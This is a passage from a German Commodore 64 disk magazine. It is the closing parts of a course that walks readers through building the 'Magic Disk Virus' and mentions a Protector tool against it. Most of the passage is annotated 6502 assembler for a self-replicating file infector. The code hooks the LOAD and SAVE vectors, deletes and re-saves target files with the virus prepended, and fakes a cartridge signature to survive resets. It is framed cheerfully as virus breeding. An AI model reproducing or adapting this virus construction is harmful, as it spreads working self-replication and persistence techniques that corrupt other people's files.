Länge des Namens zwischengespeichert. Leider  bleiben
diese Werte dort nicht bis in alle Ewigkeiten stehen.
Sie gehen im  Laufe  der  LOAD-Routine  verloren,  da
diese Speicherzellen noch anderweitig verwendet  wer-
den. Der Filename z.B. wird vom Betriebssystem an das
Ende des normalen Basic-Arbeitsspeichers gelegt.  Und
dort ist er leider nicht genug geschützt. Ein  langes
Programm überschreibt ihn  einfach  beim  Laden.  Wir
müssen  uns  diese  Werte  und  den  Filenamen   also
"merken",  bevor  wir  die  LOAD-Routine  auf   diese
Bereiche loslassen.                                  
Und genau das tut unsere  kleine  Routine  von  Zeile
1020 bis 1130. Wie immer folgt nun eine kleine  Doku-
mentation, die Ihnen die Funktion der Routine  erläu-
tern soll:                                           
1020 -LOAD   PHA               ;Akku retten          
1030 -       LDA FILELO        ;LO-Adresse des       
1040 -       STA $FB           ;Namens setzen        
1050 -       LDA FILEHI        ;HI-Adresse des       
1060 -       STA $FC           ;Namens setzen        
1070 -       LDY FILELENG      ;Länge des Namens     
1080 -       STY LENGNAM       ;setzen               
1090 -LOOP2  LDA ($FB),Y       ;Name kopieren        
1100 -       STA NAMEBUFF+2,Y                        
1110 -       DEY               ;Zähler vermindern    
1120 -       BPL LOOP2         ;Fertig?              
1130 -       PLA               ;Akku zurückholen     
In Zeile 1020 wird erst einmal der Akku auf den  Sta-
pel geschoben, da wir  seinen  Inhalt  später  wieder
brauchen. Um dies verständlich zu machen, muß man zu-
erst einmal wissen, welche Parameter die LOAD-Routine
beim Aufruf benötigt.                                
Ähnlich wie bei der SAVE-Routine müssen der LOAD-Rou-
tine zuerst Filename, Filenummer, Geräte- und  Sekun-
däradresse des zu ladenden Files übergeben werden.   
Dies geschieht, wie schon bei der SAVE-Routine, durch
die Betriebssystemroutinen SETPAR ($FFBA) und  SETNAM
($FFBD), welche wir ja schon beschrieben hatten.  An-
schließend kann erst die LOAD-Routine aufgerufen wer-
den, und zwar mit den folgenden Parametern:          
X- und Y-Register enthalten die Startadresse des Pro-
gramms, das geladen werden soll.                     
Der Akku dient als LOAD/VERIFY-Flag.                 
Wie wir ja vom letzten Teil des Kurses  noch  wissen,
werden die Werte aus X und Y schon von  der  "Vorrou-
tine" des Betriebssystems bei  $F49E  zwischengespei-
chert, so daß deren Inhalt unwichtig wird und wir so-
mit diese Register  verwenden  dürfen.  Nur  im  Akku
steht noch eine Information, die ebenfalls nicht ver-
loren gehen darf, aber erst später vom Betriebssystem
zwischengespeichert wird. Im Akku steht nämlich  eine
Information, die dem Betriebssystem sagt, ob ein LOAD
oder nur ein VERIFY erfolgen soll.                   
Steht im Akku eine 0, so wird ein Programm  ordnungs-
gemäß geladen. Bei einer 1 allerdings  wird  nur  das
Programm auf der Diskette mit dem  derzeitigen  Spei-
cherinhalt verglichen, eben die VERIFY-Funktion  aus-
geführt. Logischerweise müssen wir also den Akku erst
einmal auf den Speicher retten.                      
Weiter nun mit unserer Routine ab Zeile 1020:        
Nachdem nun der Akku endlich benutzbar wurde,  werden
als Erstes die Zwischenspeicherbytes der Adresse  des
Filenamens in die Adressen  $FB  und  $FC  umkopiert.
Diese beiden Adressen befinden sich, wie Sie ja sehen
(es werden nur 8 Bit benutzt), auch in der  Zeropage.
Sie sind zusammen mit den zwei  folgenden  Bytes  $FD
und $FE eine der Ausnahmen, die nicht  vom  Betriebs-
system benutzt werden, sondern dem  Assemblerprogram-
mierer zur freien Verfügung stehen.                  
Wir wollen mit Hilfe der indirekt-indizierten  Adres-
sierung den Filenamen auslesen.                      
Dies geschieht über  einen  Zeiger,  den  wir  soeben
durch unsere "Umkopiererei" ins Leben gerufen  haben.
Vorher sichern wir aber zuerst  noch  die  Länge  des
Filenamens in einem Variablenbyte  (LENGNAM).  Dieses
wurde im Assemblerquelltext definiert, und  zwar  als
6. Byte vor Beginn des  Programms,  ähnlich  wie  bei
einigen weiteren Laufvariablen, die hauptsächlich von
dem Gag-Programm am Ende verwendet werden.  Übrigens:
Die Namen FILELO, FILEHI und FILELENG sind Konstanten
und ebenfalls am Anfang  des  Quelltextes  definiert.
Sie stehen für die Zwischenspeicherbytes des  Filena-
mens.                                                
Anschließend wird nun der Filename  umkopiert.  Einen
Zähler für die Länge des Filenamens haben wir ja noch
vom Umkopieren im Y-Register  stehen.  Also  brauchen
wir immer nur einen Wert herunterzuzählen und zu prü-
fen, ob schon alle Bytes kopiert wurden. NAMEBUF  ist
übrigens auch ein Label für einen  Speicher,  diesmal
am Ende des Quellistings, in dem 16  Bytes  (so  lang
darf der Filename maximal  sein)  für  den  Filenamen
Platz sind.                                          
Warum in diese Adresse "+2"  gespeichert  werden  muß
und nicht gleich an die Adresse NAMEBUF, wird  später
noch erklärt.                                        
Jetzt wird  erst  der  Akkuinhalt  wieder  vom  Stack
geholt und weiter geht's mit  den  Betriebssystemrou-
tinen.                                               
Hiermit wären wir auch gleichzeitig  am  Ende  dieses
Kursteils angekommen. Nächsten Monat wollen wir  dann
die Fortpflanzung endlich ganz abhaken.              
Bis dahin wünschen wir  Ihnen  jedenfalls  viel  Spaß
beim Virenzüchten.                                   
Heute sind wir am fünften und somit  vorletzten  Teil
des Virenkurses angelangt. An  dieser  Stelle  halten
wir es für nötig, Ihnen zu sagen, wie Sie sich  gegen
den Magic  Disk  Virus  schützen  können.  Zahlreiche
Anrufe haben uns seit  der  Erstveröffentlichung  des
Virus erreicht. Alle hatten die Frage zum Inhalt, wie
man sich gegen den Virus schützen kann oder  wie  man
eine infizierte Diskette wieder bereinigt.           
Die Lösung dieses Problems heißt "Protector" und  ist
ein kleines Programm, daß Sie neben den Utilities und
Games  dieses  mal  auf  der   Magic   Disk   finden.
Eine Anleitung erübrigt sich, da  das  Programm  über
eine  gut  dokumentierte   Tastensteuerung   verfügt.
Starten Sie den Protector  bitte  aus  dem  Game-Menü
oder "von Hand" durch:                               
LOAD"PROTECTOR",8                                    
und anschließendem RUN. Jetzt aber zurück zum eigent-
lichen Kurs.                                         
Heute, beim  5.  Teil  des  Virenkurses,  wollen  wir
endlich das Thema Fortpflanzung abhaken. In den letz-
ten Teilen hatten wir uns ja  schon  gründlich  damit
auseinandergesetzt.   Fassen   wir   also   zusammen:
Wir wissen nun, daß sich unser Virus beim SAVEn eines
Programms vermehren kann. Dies tut er, indem er  sich
VOR ein zu infizierendes  Programm  hängt.  Soweit  -
sogut.                                               
Die Probleme, die auftreten, wenn er sich beim  Laden
vermehren soll, nämlich die Tatsache, daß  der  File-
name mitgerettet werden muß, haben  wir  auch  gemei-
stert. Wir haben nun beim Ladevorgang  den  Filenamen
sicher in einem Speicher stehen, so daß wir nun fort-
fahren können mit dem  Vorgang  der  Vermehrung  beim
Laden.                                               
Wie gesagt haben  wir  den  Filenamen  gerettet.  Wie
haben natürlich auch geprüft, ob  unser  Programm  an
den Basicstart ($0801) geladen wird, damit wir  keine
Daten zerstören können. Auch dies war der  Fall,  das
heißt, alle Voraussetzungen, das File  nun  endgültig
infizieren zu dürfen, sind erfüllt -  bis  auf  eine,
die wir aber erst  testen  können,  nachdem  wir  das
entsprechende Programm geladen  haben.  Erfüllen  wir
Ihm endlich diesen Wunsch  und  springen  einmal  zur
Laderoutine. Anschließend haben wir dann erst  einmal
unser zu infizierendes Programm im  Speicher  stehen.
Um dies etwas besser zu erläutern folgt zunächst erst
einmal ein Auszug aus dem Sourcelisting:             
1520 - jsr $f4e5    ;Sprung zur Laderoutine          
1530 - bcc inftest  ;wenn kein Fehler, dann weiter   
1540 - rts          ;sonst Goodbye...                
In Zeile 1520 sehen Sie den Sprung  zur  Laderoutine.
Wenn der Prozessor von dort  zurückkehrt,  haben  wir
das Programm im Speicher. Da es aber  nun  auch  sein
kann, daß während dem Ladevorgang ein  Fehler  aufge-
treten ist und somit eine Infektion verheerende  Fol-
gen haben könnte (Zerstörung von Daten!), müssen  wir
erst noch auf Fehler testen. Dies ist  sehr  einfach,
da  die  Loadroutine  im  Carryflag  die  Information
zurückgibt, ob beim Laden ein Fehler aufgetreten  ist
oder nicht. Bei einem Fehler ist dieses Flag  gesetzt
und das  Virusprogramm  wird  abgebrochen.  Ansonsten
wird weiterverzweigt zur Routine INFTEST:            
1610 - inftest   ldy #17      ;Pointer laden         
1620 - loop7     lda $0801,y  ;Vergleichsbyte laden  
1630 -           cmp data,y   ;und vergleichen       
1640 -           bne scratch  ;ungleich, dann  weiter
1650 -           dey          ;Zähler runterzählen   
1660 -           bpl loop7    ;und weiter            
1670 -           jmp ($a002)  ;infiziert - auf BASIC 
Wie der Name schon vermuten läßt, dient diese Routine
dazu, zu testen, ob ein geladenes Programm schon  in-
fiziert ist. Dies geschieht, indem die Routine prüft,
ob die ersten 18 Bytes des  geladenen  Programms  mit
den ersten 18 Bytes des Virus übereinstimmen.        
Daß nur die ersten 18 Bytes  getestet  werden,  hängt
mit dem Protector zusammen. WIrd mit ihm ein File ge-
schützt, so werden vor  dieses  File  die  ersten  18
Bytes des normalen Virusprogramms gehängt. Beim Laden
glaubt der Virus nun, daß er  schon  ein  infiziertes
Programm vor sich  hätte  und  überspringt  hier  die
Infizierung.                                         
Sollte eines der ersten 18 Bytes ungleich den  ersten
Virusbytes sein, so wird sofort zur nächsten  Routine
(SCRATCH) verzweigt. Andernfalls wird auf die Routine
in $a002 verzweigt - das ist  der  normale  Warmstart
des Commodore-Basic.                                 
Nun eine kleine Einsicht in die SCRATCH-Routine:     
1700 -scratch  lda #01          ;Logische Filenummer 
1710 -         ldx #08          ;Devicenummer        
1720 -         ldy #15          ;Kanalnummer         
1730 -         jsr setpar       ;Parameter setzen    
1740 -         lda lengnam      ;Namenslänge laden   
1750 -         clc              ;und                 
1760 -         adc #02          ;2 addieren          
1770 -         ldx #<(namebuff) ;Buffer-LO laden     
1780 -         ldy #>(namebuff) ;Buffer-HI laden     
1790 -         jsr setnam       ;Name setzen         
1800 -         jsr open         ;File öffnen         
1810 -         lda #01          ;und File #1         
1820 -         jsr close        ;wieder schließen    
Diese Routine tut nichts anderes, als das  File,  daß
unser Virus infizieren soll, von Diskette zu löschen,
um das infizierte gleich danach  wieder  draufschrei-
ben zu können. Dies funktioniert denkbar einfach: Wie
wir ja wissen, würde in Basic  die  Befehlsfolge  zum
Löschen eines Files auf Diskette folgendermaßen  aus-
sehen:                                               
OPEN 1,8,15,"S:FILENAME" : CLOSE 1                   
Und genau das tun wir auch in Assembler.  Wir  öffnen
ein File mit den Parametern:                         
Logische Filenummer = 1                              
Geräteadresse       = 8                              
Kanalnummer         = 15 (=Befehlskanal)             
Wie diese Parameter dann übergeben werden, wissen wir
auch schon, nämlich mit der SETPAR-Routine im ROM des
C64. Weiter geht es mit der Übergabe des  Filenamens.
Hier ist allerdings zu beachten, daß  zur  Länge  des
Filenamens 2 addiert werden muß, da der Name aufgrund
des vorangestellten "S:" um 2  Zeichen  länger  wird.
Dies geschieht in den Zeilen 1740 bis 1760. Die Spei-
chervariable LENGNAM kennen wir ja schon; wir  hatten
darin die Länge des  Filenamens  zwischengespeichert.
In den folgenden zwei Zeilen sehen  Sie  jetzt  auch,
warum wir beim Laden bei der  Angabe  des  Filenamens
NAMEBUFF+2 angeben mußten. Sehen Sie sich einmal fol-
gende Zeilen an. Sie stehen ganz am Ende  des  Quell-
codelistings:                                        
10190 - namebuff   .tx "s:"                          
10200 - ende       .by 0                             
Wie man sieht, haben wir den Filenamen ab  dem  Label
"ende" abgelegt, das heißt, wir haben  den  Filenamen
direkt hinter den  Text  "S:"  in  den  Speicher  ge-
schrieben.  Dieser  Text  fängt  genau   beim   Label
NAMEBUFF an. Also steht nun im Speicher  ab  NAMEBUFF
folgender Text:                                      
S:FILENAME    (Filename steht für irgendeinen Namen) 
...womit wir auch schon den Namen hätten, mit dem das
zu Scratch-File geöffnet werden muß.  Nun  haben  wir
nur noch ein LO- und  ein  HI-Byte  von  NAMEBUFF  zu
laden und SETNAM aufzurufen, was in den  Zeilen  1770
bis 1790 geschieht.                                  
Als nächstes rufen wir die OPEN-Routine des Betriebs-
systems auf. Sie öffnet ein logisches  File  mit  den
durch SETPAR übergebenen  Parametern  und  dem  durch
SETNAM festgelegten Namen. Anschließend  wird  gleich
die CLOSE-Routine aufgerufen,  die  genauso  funktio-
niert wie der Basic-Befehl CLOSE, nur  daß  hier  die
Filenummer (in diesem Fall 1) im Akku übergeben  wer-
den muß (siehe Zeile 1810).                          
Das wäre geschafft. Das alte Programm  ist  gelöscht,
womit wir wieder Platz haben, das  neue  (infizierte)
Programm abzuspeichern. Vorher müssen wir  allerdings
noch etwas berücksichtigen: Es könnte  ja  sein,  daß
der User, der sein Prorgramm laden wollte, den  Joker
"*" benutzt hat, um den Programmnamen abzukürzen.  Um
zum Beispiel "FILENAME" zu laden, hat er einfach  nur
LOAD"FIL*",8 eingegeben.                             
Wir wissen aber, daß man  keinen  Programmnamen,  der
einen "*"- oder "?"-Joker enthält, beim  SAVEn  eines
Programmes nicht verwenden  darf.  Die  Floppy  würde
einen SYNTAX ERROR zurücksenden. Um diesen Effekt  zu
verhindern, dient die nun folgende Routine (sie folgt
direkt im Anschluß an die SCRATCH-Routine):          
1840 -         ldy lengnam      ;Länge als Zeiger    
1850 -         lda namebuff+1,y ;letztes Zeichen     
1860 -         cmp #"*"         ;vergleiche mit "*"  
1870 -         bne cont         ;ungleich            
1880 -         dey              ;Zeiger runterzählen 
In Zeile 1840 laden wir die Länge des  Filenamens  in
das Y-Register. Wir benutzen es nun als  Pointer  und
holen uns das letzte Byte aus dem Namenspuffer  (hier
heißt es NAMEBUFF+1). Dann wird  mit  dem  Stern  (*)
verglichen. Ist das letzte  Zeichen  kein  Stern,  so
wird weiterverzweigt zur  Routine  CONT.  Andernfalls
wird die Filenamenlänge im Y-Register um 1  herunter-
gezählt, um den Joker auszuschließen.  Dann  geht  es
ebenfalls weiter mit der Routine CONT.               
Das zu infizierende Programm  wird  nun  unter  einem
kürzeren Namen abgespeichert, in unserem Beispiel ist
es der Name "FIL".  Das  könnte  einen  User  stutzig
machen, doch ist es die einzige Möglichkeit, das File
wiedererkennbar abzuspeichern.                       
Doch nun weiter mit CONT. Da wir nun alle  einleiten-
den Schritte erledigt haben, können wir  gleich  beim
SAVEn fortfahren. Dazu rufen wir einfach die  Routine
SAVE des Betriebssystems auf, welche ein Programm auf
Diskette abspeichert. Das ist genau die Routine,  die
wir schon früher so modifiziert haben, daß sich unser
Virus vor das  abzuspeichernde  Programm  hängt.  Wir
rufen also ganz normal SAVE auf - der Virus übernimmt
dann schon den Rest.                                 
Hier  wieder  ein  kleiner  Auszug  aus  dem  Source-
Listing. Wie die SAVE-Routine funktioniert, haben wir
ja im 2. Teil des Kurses bereits ausführlich  bespro-
chen.                                                
1920 -cont  tya                 ;Namenslänge in Akku 
1930 -      ldx #<(namebuff)+2  ;Namenspuffer LO     
1940 -      ldy #>(namebuff)+2  ;Namenspuffer HI     
1950 -      jsr setnam          ;Name setzen         
1951 -      ldx #08             ;Geräteadresse laden 
1952 -      jsr setpar          ;Parameter setzen    
1960 -      ldx #01             ;Startadresse LO und 
1970 -      ldy #08             ;HI laden            
1980 -      stx $c1             ;und                 
1990 -      sty $c2             ;abspeichern         
2000 -      ldx $ae             ;Endadresse LO und   
2005 -      ldy $af             :HI laden            
2010 -      jsr save            ;SAVE aufrufen       
2020 -      jmp saveerror       ;und weiter...       
Wie Sie sehen, ein ganz normaler Aufruf, so  wie  wir
ihn auch in Teil 2 schon hatten. Nur am  Schluß  wird
weiterverzweigt auf SAVEERROR;  die  letzte  Routine,
die wir heute besprechen wollen:                     
2211 -saveerror lda status       ;Status laden       
2212 -          bne shit         ;<>, dann Fehler    
2213 -          rts              ;nicht, dann fertig 
2214 -shit      lda #<(errortext);Text LO            
2215 -          lda #>(errortext);Text HI            
2217 -          jmp strout       ;und ausdrucken     
Diese Routine fragt das Statusbyte ab, das  haargenau
der Statusvariablen ST in Basic entspricht.  Ist  ein
Fehler beim SAVEn aufgetreten, z.B.  DISK  FULL  oder
ähnliches, so ist hier irgendein Bit gesetzt. Ist das
der Fall, so wird  weiterverzweigt  zum  Label  SHIT.
Dort wird dann - wieder mit einer  Betriebssystemrou-
tine, nämlich STROUT - ein Text ausgegeben. Der  aus-
zugebende Text steht in den Zeilen 10075 bis 10120:  
10075 -errortext .by 13                              
10080 -.tx "Der Magic Disk-Virus ist in diesem"      
10081 -.by 13                                        
10090 -.tx "C64!!! Daten wurden zerstört !"          
10091 -.by 13                                        
10100 -.tx "Bitte Programm auf einer anderen Disk"   
10101 -.by 13                                        
10110 -.tx "abspeichern !!!"                         
10120 -.by 13,14,0                                   
Der Bytewert 13 steht für  Carriage  Return,  um  den
Text ein wenig zu formatieren. Die 14 am Ende  schal-
tet auf Kleinschrift um. STROUT kehrt nach  dem  Aus-
drucken dieses Textes zum normalen Basic zurück.     
Damit wären wir am Ende des 5. Teils angelangt. Im 6.
und letzten Teil in der nächsten Ausgabe erfahren Sie
noch etwas über die Initialisierungsroutine  und  das
kleine Gag-Programm.                                 
Heute, im 6. und letzten Teil des Virenkurses  wollen
wir noch die bisher unbehandelten kleinen, aber nicht
unwichtigen Routinen besprechen,  die  unserem  Virus
das Leben im C64 ermöglichen.                        
Mittlerweile wissen wir  ja  schon,  wie  sich  unser
kleiner Freund vermehrt, nämlich mit Hilfe der  LOAD-
und SAVE-Vektoren, über die  er  sich  sozusagen  ins
System "reinhängt" und sich  somit  bei  einem  Lade-
oder Speichervorgang problemlos vor  ein  noch  nicht
infiziertes Programm hängen kann.                    
Nun wollen wir uns  mit  der  Initialisierungsroutine
beschäftigen, die z.B. die Aufgabe  hat,  eben  diese
Vektoren zu "verbiegen". Der aufmerksame  Leser  wird
sie sicher schon gefunden haben. Sie heißt  sinniger-
weise INIT und steht im Sourcelisting ab Zeile 2072: 
2072 -init      lda #01   ;Copyzähler                
2073 -          sta copy  ;initialisieren            
In diesen zwei Zeilen wird der Zähler für die  Anzahl
der bisher gemachten Kopien des Virus auf 1  gesetzt.
Dieser Zähler ist ein  einzelnes  Byte  im  Quelltext
(bei Zeile 2203), das jedesmal, wenn sich  der  Virus
erfolgreich kopiert hat um 1 erhöht wird. Nach  jeder
Kopie prüft die  Saveroutine  nämlich,  ob  sich  der
Virus schon acht mal kopiert  hat.  Sollte  dies  der
Fall sein, dann wird zu der  bereits  erwähnten  Gag-
routine verzweigt, die ab  Zeile  5060  steht.  Diese
Routine läßt erst eine kleine Spriteanimation  ablau-
fen und teilt dem verdutzten  C64-Besitzer  dann  die
Existenz des Virus mit. Hier ein Auszug aus der Save-
routine:                                             
2810 -          jsr savecont                         
2812 -          jsr saveerror                        
2820 -;                                              
2830 -          asl copy    ;copy linksrotieren      
2840 -          bcs gag     ;Carry gesetzt, dann Gag 
2850 -          rts         ;noch nicht 8 mal kopiert
Die Zeilen 2810 und 2812 kennen Sie ja noch  aus  der
letzten Ausgabe, deshalb erfolgt  hier  keine  Erklä-
rung. In Zeile 2830 wird der Inhalt der Speicherzelle
COPY nach links rotiert. Das heißt, daß der Startwert
(nämlich 1), den wir am  Anfang  von  INIT  hineinge-
schrieben hatten, solange weitergeschoben  wird,  bis
er ins Carryflag überläuft. Und da ein Byte acht  Bit
besitzt, muß acht mal rotiert  werden,  damit  dieser
Fall eintritt.                                       
Wenden wir uns nun wieder der INIT-Routine zu:       
2080 -init2    ldy #03     ;Zähler laden             
2090 -loop3    lda tab,y   ;Vektortabelle            
2100 -         sta $0330,y ;umkopieren               
2110 -         dey         ;Zähler herunterzählen    
2120 -         bpl loop3   ;Fertig?                  
2130 -;                                              
2140 -         ldy #08     ;Ja -> Zähler laden.      
2150 -loop4    lda cbm,y   ;Reset-Kennung            
2160 -         sta $8000,y ;umkopieren               
2170 -         dey         ;Zähler herunterzählen    
2180 -         bpl loop4   ;Fertig?                  
2190 -;                                              
2200 -         rts         ;Feritg!                  
Hier wird nun zweimal eine Tabelle weiterkopiert. Und
zwar nach dem selben Schema, nach dem  wir  auch  den
Filenamen in der LOAD-Routine umkopiert haben.       
In der ersten Schleife wird in die  Bytes  $0330  bis
$0333 geschrieben. Dies sind die Bytes der LOAD-  und
SAVE-Vektoren (Load=$0330, $0331; Save=$0332, $0333).
Sehen wir uns nun die Tabelle an, die umkopiert wird:
10070-tab      .wo load,save                         
Hier haben wir es wieder mit einem sog. Pseudo-Opcode
des Hypra-Ass Assemblers zu tun. Genau  wie  man  bei
dem Opcode ".eq" einer Konstanten einen Wert  zuweist
oder mit ".by 255" den Assembler dazu  veranlaßt,  an
diese Stelle den Wert 255 zu schreiben, so  wird  mit
dem ".wo" (wie WOrd, was eine Bezeichnung für ein 16-
Bit-Wort ist, sowie ".by"  die  Bezeichnung  für  ein
Byte zu 8 Bit ist) eine  Konstante  bzw.  in  unserem
Fall ein Label im LO/HI-Format hier abgelegt.        
Die zweite Schleife  der  INIT-Routine  ist  für  den
RESET-Schutz zuständig. In  der  RESET-Routine  fragt
das Betriebssystem die Speicherzellen $8004 bis $8008
ab, ob hier der ASCII-Code "CBM80" steht. Sollte dies
der Fall sein, so glaubt das Betriebssystem, daß  ein
Modul in den Expansion-Port gesteckt ist und es  wird
über den Vektor in  $8000/$8001  gesprungen,  anstatt
einen "normalen" Reset auszuführen.                  
Diese Tatsache machen  wir  uns  nun  zu  Nutze.  Wir
"simulieren" nämlich  ein  angestecktes  Modul  durch
diese Kennung. Das Betriebssystem glaubt nun, es wäre
ein Modul eingesteckt und springt über den Vektor  in
$8000/$8001, und damit genau in unsere eigene  Virus-
Resetroutine. Diese steht ab Programmzeile 930:      
930  -reset    stx $d016   ;Videocont. Steuerreg.2   
940  -         jsr $fda3   ;Interrupt vorbereiten    
950  -         jsr $fd50   ;RAM-Check                
960  -         jsr $fd15   ;Vektoren setzen          
970  -         jsr $ff5b   ;Video-Reset              
980  -         cli         ;IRQ zulassen             
990  -         jsr init2   ;Virus starten            
1000 -         jmp ($a000) ;BASIC-Kaltstart          
Diese Routine ist  fast  gänzlich  aus  dem  normalen
Betriebssystem übernommen.  Der  einzige  Unterschied
ist hier die Zeile 990.  Nachdem  das  Betriebssystem
alle Vektoren wieder in den Originalzustand  versetzt
hat, müssen wir hier wieder den Virus initialisieren.
Es wird hier nicht auf INIT gesprungen,  sondern  auf
INIT2, da ja der Zähler für die Anzahl der schon  ge-
machten Kopien nicht neu gesetzt werden soll.        
Vor einem RESET braucht sich unser Virus  also  nicht
mehr zu fürchten. Was ihm jetzt noch zustoßen könnte,
wäre ein Druck auf die RUN/STOP-RESTORE-Tasten.      
Diese Kombination haben wir aber schon  mit  abgefan-
gen, nämlich ebenfalls durch die  CBM80-Kennung.  Ist
diese vorhanden, so wird über den Vektor  $8002/$8003
gesprungen, der natürlich ebenfalls in  unser  Virus-
programm zeigt. Und zwar  auf  die  Routine,  die  ab
Zeile 840 im Quellisting steht:                      
840  -restore  jsr $fd15                             
850  -         jsr $fda3                             
860  -         jsr $e518                             
870  -         jsr init2                             
880  -         jmp ($a002)                           
Gleiches Spiel wie bei RESET, nur weniger  aufwendig,
da hier weniger passiert.                            
Es folgt nun die Tabelle, die in der INIT-Routine um-
kopiert wird:                                        
10050-cbm      .wo reset,restore                     
10060-         .tx "CBM80"                           
Jetzt möchte ich Ihnen noch die Funktion der Routinen
ganz am  Anfang  des  Sources  erklären.  Werfen  wir
einmal  einen  kleinen  Blick  auf  den  Beginn   des
Listings:                                            
140  -data     .by $15,$08,$0a,$00,$93               
150  -.tx "2071:md-virus!"                           
160  -.by 0,0,0                                      
170  -;********************************              
180  -copyup   lda $af                               
190  -         pha                                   
200  -         nop                                   
210  -         ldy #$08                              
220  -         stx $5f                               
230  -         sty $60                               
240  -         ldx #<(realend)                       
250  -         ldy #>(realend)                       
260  -         stx $5a                               
270  -         sty $5b                               
280  -         ldx #$f0                              
290  -         ldy #$cf                              
300  -         stx $58                               
310  -         sty $59                               
320  -         jsr $a3bf                             
330  -         jmp xxxx                              
Dies sind die ersten Bytes unseres  Virus,  die  auch
als allererstes an die Floppy geschickt werden,  wenn
unser kleiner Freund  sich  fortpflanzt.  Die  ersten
drei Zeilen stellen folgendes Basicprogramm dar:     
10 SYS2071:MD-VIRUS!                                 
Mit dem SYS-Befehl wird die  in  Zeile  180  folgende
COPYUP-Routine aufgerufen. Der Text  "MD-VIRUS!"  hat
nur eine kommentierende Wirkung. In jener COPYUP-Rou-
tine wird als erstes der Virus in  einen  Speicherbe-
reich kopiert, wo er etwas sicherer  aufgehoben  ist,
nämlich  in  den  Bereich  $cbaf  bis   $cff0.   Dies
geschieht mit Hilfe einer Routine aus dem  BASIC-ROM,
nämlich der Routine  MOVE.  Sie  wird  folgendermaßen
aufgerufen:                                          
$5f/$60 : Startadresse des zu kopierenden Blocks     
$5a/$5b : Endadresse des zu kopierenden Blocks       
$58/$59 : Neue Endadresse des zu kopierenden Blocks  
Startadresse: $a3bf                                  
Nachdem der Virus kopiert ist, muß dieser  das  infi-
zierte Programm wieder nach unten  kopieren,  nämlich
an den normalen Basic-Start  $0801.  Dies  macht  die
folgende Routine:                                    
350  -start    lda #$36                              
360  -         sta $01                               
370  -;                                              
371  -         ldx #00                               
372  -         ldy #08                               
373  -         stx lab5+1                            
374  -         sty lab5+2                            
380  -         ldx #<(realend)                       
390  -         ldy #>(realend)                       
400  -         stx $fb                               
410  -         sty $fc                               
420  -         ldx $ae                               
421  -         ldy $af                               
423  -         stx $f9                               
424  -         sty $fa                               
460  -;                                              
470  -         ldy #00                               
475  -         ldx #01                               
480  -loop8    lda ($fb),y                           
490  -lab5     sta $0801,x                           
500  -         inx                                   
510  -         bne lab4                              
520  -         inc lab5+2                            
530  -lab4     jsr inccount                          
540  -         bcc loop8                             
640  -;                                              
660  -         ldy lab5+2                            
670  -         stx $ae                               
680  -         sty $af                               
690  -         stx $2d                               
700  -         sty $2e                               
710  -;                                              
720  -         lda #$37                              
730  -         sta $01                               
740  -;                                              
750  -         jst init                              
760  -         jsr $a659                             
770  -         jmp $a7ae                             
Diese Aufgabe kann allerdings  nicht  mehr  von  MOVE
übernommen werden, da es auch sehr gut  möglich  sein
kann, daß das infizierte Programm bis unter  das  ROM
geht (ab $a000). Also  muß  dieses  ROM  weggeblendet
werden, und wir müssen mit einer eigenen Routine  ar-
beiten. Diese steht hier in den Zeilen 480 bis 540.  
Die folgenden Zeilen  haben  noch  die  Aufgabe,  die
Basic-Vektoren neu auszurichten (Anfang und Ende  des
Programms), da das Programm durch den Virus ja länger
wurde. In Zeile 720 bis 730 wird das Basic-ROM wieder
eingeblendet, nachdem es in den Zeilen  350  und  360
ausgeschaltet wurde. Anschließend wird noch INIT auf-
gerufen, um den Virus zu aktivieren.                 
In den Zeilen 760 bis 770 wird  dann  ein  RUN-Befehl
ausgeführt, der das Programm ganz normal startet.    
Der Programmierung des kleinen "Gags" soll hier keine
weitere Aufmerksamkeit geschenkt werden, da  dies  ja
nur ein Nebeneffekt des Virus ist. Seine  Programmie-
rung ist außerdem nicht sehr kompliziert, so  daß  es
jedem möglich sein  sollte,  diesen  Programmteil  zu
durchschauen.                                        
Nun sind wir also am Ende unseres  Virenkurses  ange-
langt. Ich hoffe, es hat Ihnen ein bißchen  Spaß  ge-
macht, der Arbeitsweise eines Virusprogramms  gedank-
lich zu folgen. Sicher ist Ihnen  aber  auch  einiges
über die  Funktionsweise  eines  Virusprogramms  klar
geworden. In diesem Sinne kann  ich  Ihnen  nur  noch
viel Glück im "Kampf" gegen andere,  nicht  so  harm-
lose Viren wie den MDV wünschen.                     
Sicher erinnern Sie sich noch an  unsere  Fragebogen-
aktion in der Magic Disk. Bei der  Auswertung  dieser
Aktion ist uns aufgefallen, daß es  immer  noch  sehr
viele C64-Besitzer gibt, die Anfänger auf dem  Gebiet
der Programmierung Ihres C64 sind.                   
Aus diesem Grund  haben  wir  uns  entschlossen,  die
Rubrik "Kurs" in den nächsten Ausgaben nicht mehr  so
fachbezogen zu gestalten, sondern zunächst einen über
mehrere Ausgaben  gehenden  Basic-Programmierkurs  zu
veröffentlichen.                                     
Damit kommen wir dem Wunsch vieler  Leser  nach,  die
zwar Programmieren lernen wollen, sich aber  scheuen,
den manchmal dichten Dschungel der  Fachliteratur  zu
durchwandern.                                        
An den Basickurs werden sich dann wieder mehr fachbe-
zogene Kurse anschließen. Mögliche Themen hierzu sind
künstliche Intelligenz, Maschinensprache, Grafik  und
und und. Schreiben Sie uns Ihre Wünsche und  Vorstel-
lungen, denn Magic Disk 64 ist und bleibt ein Magazin
von Lesern für Leser.                                
Valid HTML 4.0 Transitional Valid CSS!